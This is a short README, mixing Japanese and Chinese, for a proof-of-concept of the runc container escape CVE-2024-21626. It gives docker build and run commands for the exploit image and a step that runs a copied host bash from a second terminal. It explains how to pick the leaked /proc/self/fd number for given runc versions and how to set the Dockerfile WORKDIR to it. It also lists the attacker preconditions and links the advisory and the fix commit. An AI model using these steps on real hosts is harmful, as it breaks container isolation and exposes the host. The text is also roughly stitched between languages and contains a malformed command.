
教育/研究目的のみに使用してください。教育/研究以外の目的で使用した場合のリスクは自己責任です。
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
docker/runcのバージョンによって使用するファイルディスクリプタが異なります。例えば、docker server:20.10.17 && runc version 1.1.2 の場合は /proc/self/fd/9 を使用します。実際のfdはファイルのオープン順序によって変わる可能性があり、公式ドキュメントでは通常 /proc/self/fd/7 を使用すべきとされています。 実際に使用するfdを確認するには、runcを自分でコンパイルし、nsexec関数でsleepさせます。
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
変更:Dockerfile内のWORKDIRを対応する値に変更してください。
以下の条件をすべて満たすこと:
1. 可以创建容器并指定执行命令
2. 可以指定容器使用的镜像
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e